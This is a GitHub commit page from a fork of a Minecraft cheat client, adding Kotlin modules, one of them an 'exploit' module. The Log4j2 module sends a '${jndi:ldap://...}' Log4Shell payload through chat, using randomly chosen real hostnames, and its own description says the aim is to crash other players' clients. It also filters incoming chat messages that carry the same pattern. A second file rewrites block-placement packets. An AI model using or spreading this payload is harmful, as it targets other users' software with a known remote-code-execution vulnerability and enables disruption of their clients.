forked from RMCQAZ/KevinClient
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
8 changed files
with
65 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
package kevin.module.modules.exploit | ||
|
||
import kevin.event.EventTarget | ||
import kevin.event.PacketEvent | ||
import kevin.module.Module | ||
import kevin.module.ModuleCategory | ||
import kevin.utils.ChatUtils | ||
import net.minecraft.network.play.client.C01PacketChatMessage | ||
import net.minecraft.network.play.server.S02PacketChat | ||
|
||
class Log4j2 : Module("Log4j2", "Anti log4j2 exploit and use it to crash other player client.", category = ModuleCategory.EXPLOIT) { | ||
override fun onEnable() { | ||
val m = arrayOf( | ||
"www.baidu.com", | ||
"liquidbounce.net", | ||
"fanyi.sogou.com", | ||
"github.com", | ||
"scriptapi.liquidbounce.net", | ||
).random() | ||
mc.netHandler.addToSendQueue(C01PacketChatMessage("\${jndi:ldap://$m}")) | ||
ChatUtils.messageWithStart("Sent crash packet... [$m]") | ||
this.state = false | ||
} | ||
@EventTarget(true) | ||
fun onPacket(event: PacketEvent) { | ||
val packet = event.packet | ||
if (packet is S02PacketChat && | ||
(packet.chatComponent.formattedText.contains("\${jndi:") | ||
|| packet.chatComponent.unformattedText.contains("\${jndi:"))) { | ||
event.cancelEvent() | ||
ChatUtils.messageWithStart("§aCancel receiving message that may trigger vulnerability!!(${packet.chatComponent.formattedText.replace("\${","").replace("}","")})") | ||
} | ||
} | ||
} |
21 changes: 21 additions & 0 deletions
21
src/minecraft/kevin/module/modules/misc/AntiInvalidBlockPlacement.kt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
package kevin.module.modules.misc | ||
|
||
import kevin.event.EventTarget | ||
import kevin.event.PacketEvent | ||
import kevin.module.BooleanValue | ||
import kevin.module.Module | ||
import kevin.via.ViaVersion | ||
import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement | ||
|
||
class AntiInvalidBlockPlacement : Module("AntiInvalidBlockPlacement", "Anti invalid block placement caused by via-version.") { | ||
private val versionCheck = BooleanValue("VersionCheck", true) | ||
@EventTarget | ||
fun onPacket(event: PacketEvent) { | ||
val packet = event.packet | ||
if ((!versionCheck.get() || ViaVersion.nowVersion > 210) && packet is C08PacketPlayerBlockPlacement) { | ||
packet.facingX = 0.5F | ||
packet.facingY = 0.5F | ||
packet.facingZ = 0.5F | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters